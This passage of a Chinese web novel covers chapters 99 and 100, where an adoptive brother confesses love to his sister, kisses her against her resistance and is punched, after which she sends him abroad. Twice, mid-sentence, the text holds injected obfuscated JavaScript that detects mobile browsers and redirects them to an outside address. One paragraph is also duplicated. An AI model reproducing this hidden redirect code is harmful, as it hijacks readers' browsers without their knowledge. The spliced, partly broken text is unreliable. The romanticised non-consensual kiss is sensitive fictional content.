,指节微微发白。胸腔里的郁闷和委屈像是一锅被烧开的水,咕嘟咕嘟地冒着泡。 他低声喊了一句:“阮云琛。” 没有回应。 “阮云琛!”他又喊了一声。 这一声喊得低沉而压抑,像是从胸腔深处挤出来的,拖着未曾消散的委屈和愤怒。 阮秋的脚步顿了一下,随即像是终于失控了情绪,几步冲上前去,抓住了阮云琛的手腕,一把把她拽了回来。 他的动作带着一点急切,甚至有些不由分说的力度,指尖紧紧扣在她的皮肤上。 眼眶微微发涩,那是压抑了许久的情绪终于找到了一道出口。他的目光直直地落在她的脸上,死死地盯着她,泪水却不知何时成了一堵墙,堵在了眼眶口,让一切变得模糊。 “你就不能看我一眼吗!”他的声音不大,但压抑着颤抖,“我到底做错了什么?你就不能说句话?!” 阮云琛的动作被他突如其来的力道拉得一顿。她转过头,眉头紧蹙,目光里透着几分不耐,却在看见阮秋的表情时瞬间凝住了。 平时总是冷静、克制的阮秋,此刻却像一根绷到极限的弦,下一秒就会断裂。 她原本压抑的怒火忽然涌了上来。那是一种本能的情绪,像刀一样割在她的神经上,却又尖锐得令人窒息。 但阮云琛知道,这份愤怒背后,是恐惧。 恐惧来得太快了,甚至她都没来得及细想就已经将它掩盖在怒火里。 阮云琛不是不知道自己在害怕什么。 她害怕他会受伤,害怕他会成为某个漩涡里无辜的牺牲品,害怕自己无法阻止这些。 可是她不能表现出这些。 她只能用冷漠和克制将这些情绪压回去——那是她唯一学会的保护自己的方式。可即便如此,她的声音仍旧泄露了一丝颤抖的边缘。 “你刚才在网吧干什么?”她问。 阮秋一下子懵了。 阮云琛的声音刺中了他的心弦,难以言说的期待被当头浇了一盆冷水,忽地一股挫败感从四面八方涌了上来。 他从没见过这样的阮云琛——不是在战斗中果断决绝的她,也不是在家里冷静操心的她,而是这种带着毫不掩饰怒气的她。 那种愤怒像一道冰冷的屏障,生生将两人隔开。 他本来还觉得自己终于不是那个只能站在她身后递纱布、换药水的旁观者了。 他为自己能主动做点什么而感到骄傲,这种感觉甚至让他一度忽略了手心里残留的冷汗,可阮云琛的质问却像一巴掌狠狠抽了过来,打散了一切。 阮秋没法理解她为什么这样,甚至一时没法完全组织起自己的思绪。下意识地,他答道:“我……我帮你。” 阮云琛的眼神里带着几乎可以灼伤人的冷意:“帮我?” 她盯着他,目光像一把锋利的刀,将他从头到脚剖开,露出藏在内里的所有想法。 “你知道刚才那是谁的人吗?你知道他们背后可能是谁吗?你觉得按个报警器,就能让他们滚蛋?” 阮秋被她的语气吓了一跳,嘴唇动了动,没发出声音。他不明白她为什么这么生气,只觉得胸口涌上一阵憋闷。 “他们背后可能是......” 阮云琛顿住了,话到嘴边,像是被什么硬生生堵住了一样。 她的神色一瞬间变得复杂,目光微微垂下,不再去看阮秋的脸。 胸口的某种情绪像是被锤子敲了一下,压抑得让人喘不过气。那个名字在她的脑海里翻涌,像一条盘踞在黑暗深处的毒蛇,冰冷又危险。 她知道这个名字一旦说出口,就意味着将一切拖回记忆的深渊——她花了多少年想要摆脱的东西,那些血淋淋的过去,寒冷的目光,还有午夜梦回时令人窒息的压迫感,都将重新暴露在阳光下。 她的脑海里闪过许多片段。 那就像是打开了某个她一直极力封闭的箱子——那些旧日的阴影、鲜血的气味、宋祈冰冷的目光,都像野兽一样窜了出来,撕咬着她的理智。 阮云琛用力握紧了拳,手心的指甲几乎刺入皮肤,胸腔里像堵了一块冰,冷得发疼。 她不想提这个名字,不想让它从自己的嘴里说出来。那是她最不愿触碰的禁区,藏着太多无法抹去的痕迹。 可是阮秋就在眼前,他的表情既委屈又倔强,像一条明明知道前方有危险却还往前冲的小狗。 阮云琛闭了一下眼,睫毛微微颤动。 她觉得自己的喉咙干得发紧,舌尖掠过一股苦涩的味道。那种压抑的情绪让她几乎喘不过气来,她甚至一度想转身离开,不去面对这一切。 可是不能。 他还不明白自己刚才的行为有多危险,他根本不知道,那背后的人有多可怕。 阮秋知道她的过去,他参与了其中的一部分——那些她带着他从一片泥泞中挣扎着爬出的日子,那些她用尽全力护住他和淼淼的时刻。 他看过她的狼狈,也看过她的狠劲儿,甚至亲眼见过她用一把铁棍吓退一群试图纠缠的小混混。 阮秋知道她做过什么。 可他不知道一切的全貌。 他不知道宋祈究竟是个什么样的人——不知道那个人的狠毒和手段,不知道他是如何一边教会她生存的技巧,一边用另一只手摧毁她的安全感。 更不知道她花了多大的力气,才从那个深渊里挣扎出来,又如何在他离开之后,仍然夜夜惊醒,手心里满是冷汗。 阮云琛的目光扫过阮秋的脸,他还在等她的答案,眼神里藏着几分不解,还有隐隐的倔强。 阮秋不明白。 他以为他明白,但他其实根本不明白。 这个认知像是利刃,在她心里划开了一道口子。 “他们的背后可能是宋祈!”她的声音抬高了一些,却显得更冷,“宋祈的名字你听过多少次?你以为他会对我们手下留情?” 阮秋皱起眉,嘴唇抿得发白:“但你明明也在场!他们同样会伤害你——” “我知道我在做什么!”阮云琛突然抬起手,一把抓住他的衣领,将他逼近到自己的目光范围内,“但你不行!你知道宋祈是什么人吗?你知道你刚才要是被发现会是什么后果吗?” 阮秋的手僵在半空,脸上的神色从惊愕到隐忍,最后渐渐转为某种难以言喻的痛苦。他用力挣开她的手,声音低沉:“所以呢?你的意思是,我永远只能像个局外人一样看着你拼命,是吗?” “是。”阮云琛几乎是从牙缝里挤出这个字,语气里带着不容置疑的决绝。 99. 雷池 阮秋怔住了,他的喉结上下滚动了一下,眼底的光亮一点点黯淡下去。他沉默了几秒,忽然笑了一声,低低的,苦涩得像是压抑了很久的情绪。 “那你觉得我能怎么办?”他低下头,看着她,声音里掺杂着一丝绝望,“看着你拼命,看着你受伤,看着你一个人扛下所有——你让我怎么能忍得住?” 阮云琛没有回答,只是深吸了一口气,将目光移开。 她不敢直视他的眼睛,因为她知道,他说的每一个字都是真的。 街上的灯光昏暗而冰冷,夜风掠过,带来一丝刺骨的凉意。他们之间的沉默像是某种无形的墙壁,将所有情绪压在其中,无声地膨胀。 “姐,”阮秋的声音低了下去,像是请求,又带着些许不甘,“为什么你总是把我挡在外面?是因为你觉得我不够强,还是……你根本没想过让我跟你并肩?” 阮云琛条件反射地避开了目光。 她忽然觉得阮秋的眼神炙热得过分,那种曾经熟悉到近乎透明的眼神,不知从什么时候起,竟多了一种让她无处遁形的意味。 她下意识地后退了半步,目光掠过路灯的暗影,落在了远处逐渐明亮的天际。 “秋,我......” 阮云琛想要开口,话却只说出了一半,喉咙干得发紧,像是被什么东西堵住了一样。 “你什么?”阮秋步步紧逼,眼神里带着倔强,“我到底算什么?在你眼里,我永远只是一个需要被保护的弟弟,是不是?” 阮云琛低垂着目光,指尖无意识地扣紧了外套的边缘。阮秋的话像一把锋利的刀,直直地剖开了她心里最深的防线。 ——并不是不想让他帮忙,而是她怕失去他。 那种失去的恐惧,像是一场无声的海啸,从她心底的某个角落涌起,瞬间将她淹没。 她想到了很多可能:如果有一天他因为她的决定而遭遇危险,如果他的脸上再也看不到现在的倔强和活力……这些画面让她的胸口像是被什么压住了一样,疼得连呼吸都显得多余。 阮云琛从不愿去深究这些恐惧的来源,只告诉自己,他还太年轻,他还有很多可能的未来,而她不能成为毁掉这一切的原因。 他也是,淼淼也是。 如果有一天,她的决定让他们中的任何一个陷入危险,如果淼淼再也不能没心没肺地喊着“姐”抱怨她的臭规矩,如果阮秋的脸上再也看不到现在的倔强和活力……这些画面让她的胸口像是被什么压住了一样,疼得连呼吸都显得多余。 阮云琛从不愿去深究这些恐惧的来源,只告诉自己,他还太年轻,淼淼也还太小,他们还有很多可能的未来,而她不能成为毁掉这一切的原因。 可阮秋的话,又何尝不是在逼迫她直面那些她不愿面对的东西? 那双眼睛里有愤怒,有疲惫,还有一丝微不可察的痛楚。阮云琛张了张嘴,却终究没有再开口。 她深吸了一口气,却没有勇气抬头,只是把手插进了口袋里,试图借此平复自己的情绪。 她的沉默像是最后的答案。 阮秋笑了一声,低低的,带着一种难以言喻的酸涩:“果然……你从来没把我当作一个能帮你的人。对你来说,我只是一块负累,对吧?” 阮云琛的心猛地一揪,像是被什么冰冷的东西刺了一下。那一瞬间,复杂的情绪淹没心头,几乎让她无所适从。 她下意识地抿紧了嘴唇,视线移开,不愿让他看见自己的表情。 ——不是这样的。 可阮云琛却说不出口。 她的喉咙像是被什么堵住了,直到最后,也却只憋出了几个冷冰冰的字眼:“你在胡说什么?” 阮秋的神情顿时僵了一瞬。他的嘴角还维持着一抹勉强的笑,眼神却一点点黯淡了下去,像是一片被雨水打湿的叶子,脆弱得不堪一击。 满腔的期待和委屈瞬间化成了一股尖锐的刺痛,他的手指蜷了蜷,指甲紧扣着掌心,像是在努力压抑什么。 可最终,理智还是被情绪撕开了一个缺口。 “那你告诉我,”他猛地抬起头,声音里压抑着一股无法掩饰的愤怒和受伤,“为什么每一次你都把我挡在外面?为什么你宁愿一个人拼得遍体鳞伤,也不肯让我做点什么?” 他的话像是一道疾风,裹挟着他胸口积压已久的情绪,呼啸而出,直击心口。 阮云琛闭了一下眼,竭力压抑着自己的情绪。她的手指微微攥紧,嘴唇动了动,留下的却只有沉默。 阮秋的目光紧紧盯着她,像是要从她的表情里看出答案。 片刻后,他的声音低了下来,却显得更加深沉:“姐,我一直以为,只要我足够努力,总有一天能让你相信我,可现在……我发现,我再怎么努力,都磨灭不了你心里那个‘弟弟’的形象。” 阮云琛的身体微微一僵,她听得出他语气里的那种失望和隐隐的哀伤。 “我知道,”他的声音逐渐低了下去,却更显平静,像是在说一个早已深埋心底的事实,“我永远都记得,那一天你给了我一包豆浆,我连声谢谢都没说。是你后来把我带进了家门,是你让我知道‘家’是什么样的感觉——我很感激,真的。” 他停顿了一下,像是在努力平复什么情绪,眼神却越发灼热。 “可是......阮云琛,你真的以为,我只是一块需要被保护的包袱吗?你知道我小时候是怎么跑出山的吗?你知道我在淮龙怎么活下来的?你以为……没有你,我就什么都做不了?” 阮秋的声音忽然抬高了一些,带着刺骨的锋锐。 他的目光锁住了阮云琛,像一把滚烫的刀,刺得她几乎无处可躲:“如果你真的这么想,那为什么要带我回来?为什么要让我有了家,又总是把我挡在外面?” 阮云琛的手指微微蜷起,藏在袖口里,却没能完全掩住指尖轻微的颤抖。 路灯的光晃了一瞬,像是突然短路般闪烁了下,又迅速恢复了昏黄的亮度,投在他们身上,影子被拉得很长。 阮秋逼近了一步,脚下的步子很轻,甚至没有发出任何声音,可他的存在感却压得让人几乎喘不过气。 他的目光如影随形,几乎像是能在夜风里拉出某种实质的力量,将阮云琛逼入一个无法回避的角落。 “姐,我早就不是那个需要人保护的小孩了。没有你之前,我能一个人从山里跑出来,也能一个人在淮龙活下去——我不需要靠谁施舍生活,更不需要谁把我当成累赘。” 他的声音稍微低了一些,但那低音像是某种更深的暗涌,带着让人窒息的重量,“可现在,我只想跟你一起走下去,仅此而已。” 有个骑着自行车的路人打着铃路过。 他回头朝这边看了两眼,很快便低下头踩上了踏板,消失在漆黑的巷子尽头,留下的只有渐行渐远的微弱轮廓。 阮云琛没动,手臂却紧了一下,下意识地攥住了自己——可阮秋没有停下。 他忽然再靠近一步,眼神深得像是能把人拉进去,语气压得极低,却又带着某种执拗的恳求:“姐,你是真的看不见,还是……你一直假装没看见?” 阮云琛愣住了。 夜风带着几分凉意,掠过她的脸颊,却无法带走那一瞬间升腾的燥热与不安。 她的脚步下意识地后退了一步,背后触到一堵冰冷的墙。肩膀撞上去的瞬间,细微的刺痛从旧伤处传来,让她倏地打了个激灵。 那一瞬间,思绪似乎被拉回了现实,可那种燥热感却并没有消失,反而因为这短暂的清醒更加不可遏制。 她猛地抬起头,却正对上阮秋那双带着炙热的眼睛。 光影闪烁,他的影子将她包裹住,周围的空气像是被抽离,只剩下他靠近时的那一丝温度。 两人之间的距离近得让她几乎感受到他呼吸的起伏,而她却根本不知道,自己下一步该怎么走。 阮云琛从来不觉得自己矮——起码在同学中已算出挑,站在人群里一向不输气势。可眼前这个人,却比她高出了半个头。那种俯视的姿态,既让她不舒服,又让她莫名地无法逃避。 她记得从前阮秋个子不高的时候,自己还能轻易把他搂在怀里安慰,那时他仰头看她的眼神还带着一丝孩子气的依赖。 可不知从什么时候开始,他竟已经长到让她无法用从容的姿态面对。 他身上那种带着些许侵略性的气息让她感到陌生,而那种陌生,却偏偏从骨子里透出一丝熟悉的热度,像是一种从未被明说却又无法忽视的存在。 阮云琛的心跳乱了一拍,胸腔里像是涌入了一股灼热的气流,烫得人心头发紧。 她的理智在绷紧,又在这片刻间不断地崩塌。胸腔里的心跳愈发清晰,像是敲鼓一般砰砰作响,盖过了耳边的风声和偶尔掠过的自行车铃声。 “阮云琛,”他的声音再度响起,低沉而沙哑,几乎贴着她的耳边,“你到底在怕什么?” 阮云琛的喉咙动了动,却像被什么堵住了一样,发不出声音。那种压迫感太过强烈,她只能抬眼看他,却从他的目光里读出了一种她无法承受的炙热。 她的肩膀因刺痛而微微绷紧,手指忍不住扣住身后的墙面,最终吐出了一个下意识的字眼:“什么?” “我有多在意你,”阮秋的语气里带着一丝压抑的颤抖,“那种在意,根本不是弟弟对姐姐的在意。” 他的目光像是一片燃烧的火,直直地撞进她的眼里,把她所有的伪装都烧了个干净。 阮云琛呼吸一滞,眼神瞬间冷了下来。她退开半步,声音里带着明显的抗拒:“阮秋,你在胡说八道什么?” “你知道我没有。”阮秋的声音低沉而坚定,带着一种从未有过的认真。 他抬起手,轻轻拨开她乱掉的发丝,指腹落在她的颧骨上,动作慢得像是一场仪式。他没有急着离开,指尖的温度一点点渗透进她的皮肤,带着某种不容忽视的重量。 她没有动。 他垂下眼,像是在凝视某个不可企及的梦。那动作带着小心翼翼的克制,却又透出无法掩饰的渴望。手指从她的颧骨滑到下颌,微微停顿,像是在寻找合适的措辞。 “我不想一直被你挡在外面,”他的声音很低,几乎像是一场近乎自语的告白,“也不想只是你的‘弟弟’。” 阮云琛的身体微微一僵,眉心紧皱,她想要开口,却不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271327|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道该说些什么。 “我只想,离你近一点,再近一点。”这句话像是鼓足了阮秋所有的勇气,他声音很低,离得却更近了。 那眼神像是一片燃烧的火,灼得让人无法直视。背后是冰冷的墙,那股微渺的凉意是唯一能让阮云琛捡回理智的存在。 “阮秋——”她努力找回了自己的声音,却带着几不可闻的颤抖。 阮秋没有退缩。 手掌缓缓移到她的侧脸,掌心的温度像是要将她所有的防线一点点融化。他的指尖停在她的下颌线,稍稍抬起,迫使她不得不直视他。 “你之前问过我,”他的声音低哑,气息贴得很近,像是掺杂了无数难以言说的情绪,“喜欢的人是谁。” 阮云琛的眉头微微皱起,但还没来得及开口,就听见他继续说了下去。 “是你。”他的语气很轻,像是一片羽毛,却重得砸在了她的心口,“一直都是你。” 她的呼吸骤然一滞。 周围的夜色像是被剥离了所有温度,只剩下他近在咫尺的呼吸和那双深不见底的眼睛。她甚至能听见自己急促的心跳声,一下一下,像是某种无法控制的共鸣。 阮云琛张了张嘴,却发不出声音。 喉咙里像是卡着什么,所有想要出口的质问和推拒都被一股莫名的混乱压了下去。 阮秋没有等她回答。 他的目光炙热而专注,像是燃烧的火,逼得她无处可退。他的动作依旧缓慢,甚至带着某种刻意的小心翼翼,像是在给她留出时间,给她一个推开的机会。 可阮云琛的大脑一片浆糊,像是突然失去了对身体的掌控。 时间在这一刻变得奇怪而漫长,她只能听见自己的心跳,像雷一样在胸腔里轰鸣,却连思考的能力都被剥夺了。 她知道应该躲开,应该说些什么,应该阻止他——可这些“应该”却像是被钉在原地,变成了一种遥不可及的念头,只在脑海深处模糊地盘旋。 他的气息越来越近,近到她几乎能感受到那一抹温热的呼吸拂过脸颊。阮云琛瞪大了眼,微微偏了偏头,可刚刚避开的距离却又被他温柔地拉了回来。 “姐,我想亲你。”他的声音低哑,语气里带着一种让人难以拒绝的坚定。 她的脑袋嗡了一声,像是被什么击中了一样,所有理智和思考都被堵在了某个死角。直到那一抹炽热的触感落在她的唇上,才像电流一样将她从静止中拽了回来—— 那是一个极其轻柔的触碰。 像羽毛拂过,却带着某种难以言喻的炽热,将她从里到外都卷入了一种无法逃避的情绪里。 阮云琛瞪大了眼,呼吸滞在喉咙口,连眨眼的动作都像被抽走了力气。 她的手指微微颤了一下,却没有抬起来推开他——她甚至不知道,自己的身体为什么像是完全丧失了反应能力。 阮秋没有急于深入,只是静静地贴着她,像是在等待,又像是在感受。他的动作克制得近乎卑微,唇上的温度小心翼翼地试探着每一寸可能的边界。 可这份小心却并未持续太久。 也许是因为阮云琛迟缓的反应,也许是因为某种压抑已久的情绪终于找到了出口。他的手指微微一颤,像是在最后一秒做了什么决定。 那一瞬间,阮秋觉得自己已经没有退路了。 迈过了那条线,所有的顾忌和理智都显得无足轻重。 他的动作忽然深了几分,像是终于放下了所有的防备,唇间的触感变得滚烫且炙热,带着一种近乎孤注一掷的强烈侵占感。 他甚至不敢多想,只知道自己无法停下——就像一个溺水的人抓住了最后的浮木,即便明知危险,也无法放手。 ——他靠得太近了。 近得阮云琛能闻到他身上淡淡的薄荷香,带着些许他独有的气息;近得让她觉得,自己的每一次呼吸,仿佛都是在回应他的侵占。 阮云琛的心脏跳得厉害,像是下一秒就要从胸腔里冲出来。 她的脑袋已经乱成了一团,完全不知道自己该怎么办,只觉得那种触感越来越让人失控。 她动了动手指,试图推开他,但那力道却轻得可怜,甚至连触碰都显得迟疑。她不知道该怎么反应——不,该说,她根本来不及反应。 阮秋的动作却越来越大胆。 那股炽热的触感逐渐蔓延,像是一场无法抗拒的火焰,从唇间一路蔓延到她的全身。阮秋的动作并不急切,甚至带着一种极致的克制,唇间的每一次碰触都像是在试探,又像是在留恋。 他的手掌落在了她的脸侧,指尖微微用力,像是给了她一层无形的禁锢。 “别动。”他的声音在唇齿间低低溢出,气息不稳,却依旧带着不容拒绝的坚定。 她僵住了,喉咙里发出一点几不可闻的声音,却被他更深地堵了回去。那是一种带着试探和小心的深入,仿佛每一次加深都在寻找着她的回应,又在用力克制自己。 阮云琛不知道自己是怎么忍到这一刻的。她的脑袋昏昏沉沉,身体像是被困在了某个无解的拉扯中。她的眼睫微微颤动,下一秒,拳头就猛地握紧,用力挥了出去。 “阮秋!” 100. 感情 “砰——”阮云琛的拳头狠狠砸了上去,力道之大让阮秋的身体踉跄了一下,侧头撞在了旁边的墙壁上。 剧烈的疼痛猛然袭上了他的侧脸,他的嘴角立刻裂开了一道伤口,殷红的血沿着嘴角流了下来。 阮云琛的胸口剧烈起伏,眼里盛满了愤怒与复杂。她的拳头还悬在半空中,指节因用力而泛白,像是下一秒还会再挥出一拳。 “阮秋!”她的声音嘶哑而尖锐,像是要将这片夜色撕裂,“你知不知道你在干什么?” 阮秋站直了身子,抬手抹了一下嘴角的血迹,低头看了一眼,苦笑了一声。他的目光没有丝毫退缩,反而带着一种痛彻心扉的坚定。 “我知道,”他的声音低沉,却不容置疑,“我一直都知道。” 墙面的冰凉顺着掌心传递过来,像是一根细小的针尖,轻轻扎破了阮云琛已经濒临崩溃的理智。 她深吸了一口气,肩膀隐隐作痛,那股刺痛似乎比冷静更快地袭上了她的全身。她紧贴着墙,像是试图用那一点点凉意强迫自己降温。 “疯了,”她闭了闭眼,再次开口时,声音已经低到近乎呢喃,“你简直疯了。” 阮秋抬起头,目光与她对上,那眼神里没有一丝妥协,只有绝望中生出的决然:“是,我疯了。但如果这是疯,我宁愿一辈子都这么疯下去。” 阮云琛握紧拳头,强迫自己冷静下来,却发现连呼吸都变得困难。 “你不能这么做。”她咬牙开口,语气像冰一样冷。 “为什么不能......?” 阮秋忽然反问,语气里带着一丝颤抖,却没有半分退却:“因为我是你的弟弟?还是因为你根本不敢面对自己的感觉?” “你根本不知道你在说什么!”她几乎是喊了出来。 “那你告诉我,”他的声音里带着一丝绝望的哽咽,“你为什么不躲开?如果你真的那么抗拒,为什么你刚才不推开我?” 阮云琛的身体僵住了,喉咙里像是卡了一块石头,一句话都说不出来。 可不管怎么样,该回还是得回家。 两人都一夜未睡,一人身上还有伤,再发生什么,也不可能就这样扭头就走。 只是一路上两人都没有说话。 阮秋的脸侧隐隐泛红,那是她刚才挥拳留下的痕迹。夜风擦过脸颊时带着些许刺痛,他却毫不在意,只是偶尔瞟一眼走在前面的阮云琛。 她始终没有回头,步伐很快,肩膀却不自觉地微微下沉,像是用力过度之后的疲惫。刚刚还挂在外套上的那种压抑气场,现在只剩下了一片冷漠。 到家后,淼淼正在客厅里盘腿坐着,刷着一套卷子。 听到门响,她抬头看了一眼,目光在阮秋挂彩的脸上停了一秒,又迅速转到阮云琛那微微有些狼狈的神色上。 她眨了眨眼,放下了笔:“你们俩打架了?” 阮秋下意识地移开了目光,手指捏紧了背包的肩带,没有吭声。 阮云琛站在门口,脸色不善,她用力踹上门,动作大得几乎震得整扇门都抖了抖。 随后,她瞪了淼淼一眼,语气凌厉:“滚回屋里。” 淼淼被她凶得一愣,嘴巴张了张,眼眶一下子就红了。她的嘴一瘪,随即“哇”地一声哭了出来:“我最讨厌姐姐了!” 她丢下卷子转身跑进了房间,“怦”地甩上了门。 客厅里顿时安静了下来,只剩下墙上钟表滴答滴答的声音。 阮云琛捏了捏眉心,像是有些头痛,却依然没有看阮秋一眼,只是径直走向厨房,打开冰箱拿出一瓶冰水,回了屋。 一句话也没和阮秋说。 甚至没有给他半点眼神。 阮秋静静地站在客厅里,听着淼淼的抽泣声从房间里传来,隔着一道门,却像隔了一片遥远的世界。 他伸手摸了一下自己发烫的脸颊,那是她的拳头留下的痕迹——疼吗? 其实不太疼。 他只是觉得心里发酸,像是被什么压住了一样,沉得喘不过气来。 阮秋不知道自己什么时候开始变成这样的。 小时候刚被她带回家时,他其实是有些惶恐的。 那是一种混合了感激和警觉的情绪——她是个看起来并不多话也不亲近的人,却伸出了手,把他从淮龙最肮脏的街角捞了起来。 他记得那天的阳光很刺眼,记得她插着口袋走了过来,记得她挡住了斜照来的太阳——那太阳在她身上笼出了层金光,让她也同样看起来温暖得灼人。 他记得她的声音很平淡:“你要不要跟我走?” 他没多想就点了头。 那个点头,是出于一种本能。 不是信任,而是绝望。 那时候的他,早就学会了如何在街头巷尾求生,如何把胃里最后一口干瘪的馒头分成两口吃,却从来没想过,有一天会有人愿意给他一个地方住,一个家。 可阮云琛却给了他。 她说,“二狗不像人名”。 她说,“秋蛮好听的”。 她叫他“秋”,给了他和她一样的姓氏——阮。 “阮秋。” 这两个字眼从她口中念出时,就好像光被树叶碾碎成了斑,一点点撒在秋日的风里,带着点凛,却又含着无尽的温暖。 他喜欢这个名字。 他喜欢她说出这个名字时的声音,喜欢她说出这个名字时的调子,喜欢她说出这个名字时的神情。 起初,阮秋把这种情感叫做“感恩”。 他会帮忙做些力所能及的事,会在她批评他的时候低头认错,会觉得自己欠了她一辈子都还不清的情。 后来,他发现,这种“感恩”开始变了味道。 他不想只做一个被保护的弟弟。 他不想看到她每次受伤之后都说“没事”,不想看到她在夜深人静的时候一个人蜷缩在沙发上发呆,不想看到她的肩膀压得太重,却从来没有人替她分担。 那时候的他还太小,能做的事屈指可数,可这种“想保护她”的念头就像种子一样,悄悄地在心底扎了根。 他开始用一种几乎执念的方式去成长。 努力读书,努力锻炼,努力让自己变得更强——不是为了他自己,而是为了有一天能和她并肩站在一起,成为她的力量。 可阮秋知道,她从来没有把他当成一个“男人”去看待。 但这并不妨碍他的感情一点点地膨胀,从依恋变成了爱恋,从爱恋变成了无法遏制的执念。 他想和她一起走下去,哪怕她从未给过他任何回应。 可这不代表他可以一味地容忍她将自己越推越远。 他看着阮云琛一次次带着伤回来,却轻描淡写地说“没事”,也许是她总用那种近乎冷漠的语气告诉他:“别管。” 看着她把一切都藏在心里,把他挡在她的世界之外。 哪怕他已经努力让自己变得更强,却依然被隔绝在某个遥不可及的地方。 阮秋开始害怕了。 如果他什么都不做,什么都不说——她会不会越来越远?会不会有一天,他连站在她身边的资格都没有了? 她的肩膀已经压得太重了。 她什么都不说,却什么都扛着,仿佛她的世界里根本没有依赖的概念。 如果不再靠近一步,不再突破这道屏障......或许她会永远把自己困在那座孤岛上。 ——他不愿意。 无论如何,他都不能眼睁睁地看着她一个人走到尽头。 这份情感不再是简单的“喜欢”或“爱恋”。 它变成了一种深刻到足以灼烧他的执念——他不仅想要和她并肩作战,更想要成为她的避风港,让她不再孤独,不再受伤。 哪怕会被拒绝,哪怕会被狠狠推开,他都无所谓了。 他只想告诉她,他能做的不只是“弟弟”,他还能做她的同伴,她的刀,她的铠甲……甚至是她的港湾。 可阮云琛还是逃了。 她逃得比风里的灰烬还快。 那灰烬化作了石砾,石砾凝成了刀子,刀子一片片往身上刮,刮得人血肉模糊,连眼睛都要看不清前路的方向。 “我给你提前递交了利物浦大学的交换项目申请,你下个月就去英国读书。” 这是阮云琛这几天对他说的唯一一句话。 她说得风轻云淡,甚至连眼神都没有给他。像是在讨论今天的天气,又像是在说晚饭吃什么。 可这些话砸下来,却像是一记重锤,砸得阮秋连呼吸都变得缓慢。 他下意识地开口:“姐,我——” “老师给我打电话了。”她打断了他的话,语气平淡得让人心里发冷,“你之前不是提过,你很喜欢‘网络犯罪侦查技术’那门课吗?我记得你说,利物浦大学的这门课在秋季学期结束后就会取消,不再开设。” 阮秋一怔,下意识地攥紧了手里的杯子,声音低得几乎听不清:“我……是说过。” 阮云琛没抬眼,只是继续往下说:“学校还会给一加三的交换生提供额外的学习资源补贴,一台笔记本电脑和一个外接键盘。” 她顿了一下,终于抬眼看了他一眼:“你之前不是挺喜欢这些吗?” 阮秋心里顿时升起一股难以言喻的无力感。 他看着她的脸,那张脸上没有任何多余的情绪,就像是在扮演一个普通的姐姐——一个毫无破绽,甚至让人挑不出任何错的“好姐姐”。 他张了张嘴,想说点什么,可喉咙像是被什么堵住了,话到嘴边全都散成了碎片。 “对不起。”他憋了半天,终于低声说道。 阮云琛没有回应,只是站在那里,看着他,目光平静得近乎冷漠。 “利物浦大学的那个交换项目挺不错的。”她把语气放得更轻了一些,像是在对自己说话,又像是在刻意保持一种距离感,“现在是个好机会,你应该早点准备一下签证和行李。” 她转身离开了,脚步轻而迅速,像是要把什么甩在身后。 阮秋盯着她的背影,连追上去的力气都没有了。 他觉得自己像是被推到了一条无法回头的路上。她从来不给他机会靠近,却总是用一种近乎温柔的方式,将他推得越来越远。 他是不是......应该放弃? 房间里只有钟表滴答的声音,还有窗外淅淅沥沥的风。那些细微的声响像是在刻意提醒他——这个夜晚的冷清。 阮秋垂下头,手指慢慢滑过桌面的纹路,一遍又一遍,像是在试图找到某种答案。 这个念头并不是第一次出现在他脑海里。 从意识到自己的感情已经越过了那条“界限”的那一天起,他便无数次问过自己:是不是该停下了?是不是不该继续走下去?是不是……他早该认命? 可每次这样的念头刚刚冒头,就会被另一股更强烈的情绪碾压——一种无法形容的执拗和渴望。 放弃了,那阮云琛怎么办? 她一直这么强,可他知道,那份强大并不是天生的,而是被一层又一层的苦难逼出来的。 那些苦难堆积得像是高墙,隔绝了她所有的软弱和退路,也把她一个人困在了墙里。 如果他转身走了,那些墙是不是会越来越厚,直到有一天她连自己也看不清? 可是,如果他继续留下来呢? 他的存在,真的会成为她的支撑,而不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276647|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 负担吗? 阮秋用手背捂住了眼睛,手指用力地按压着眉骨,像是想要把那些乱成一团的思绪都按回去。他的喉咙里像是堵着什么,沉闷得几乎要窒息。 放弃,还是不放弃? 他没有答案。 夜风从窗缝里钻进来,带着一点凉意。他忽然想起很久以前的一个傍晚,那时的他刚刚走出一场大病,体力还没有恢复,淼淼缠着他玩了半天,他累得差点栽倒在沙发上。 阮云琛递过来一杯水,冷冰冰地说:“还行吧?” 他忍不住抬头问她:“姐,你怎么从来不累?” 她没回答,只是低头把药箱收了收,扔下了一句:“我没空累。” “……那你有空的时候呢?” 阮云琛笑了一下,那个笑意太淡,像是风中的烟雾,一眨眼就散了:“有空的时候,就轮到你们累了。” 她当时转身离开时的背影,和现在重叠在一起。 那个时候,阮秋忽然明白了,她并不是真的不累,只是从来不会让人看到。 她一个人背着所有的“累”,把他们保护得太好,甚至好到让他觉得自己是不是可以——哪怕一点点,分担一些。 那种想法,最初是感恩,后来是依赖,再后来变成了……现在的执念。 如果放弃了,那她会不会更累? 可是如果不放弃...... 或许阮云琛心头的负担就不止是现在的这些了。 ——没有答案。 心中的所有问题,没有一个能找得到答案。 阮秋把手从眼前移开,掌心冷得像是被冻住了一样。他坐在那里,沉默了许久,终于低声笑了一下,笑声低哑而苦涩,像是从胸腔深处挤出来的叹息。 阮秋走了。 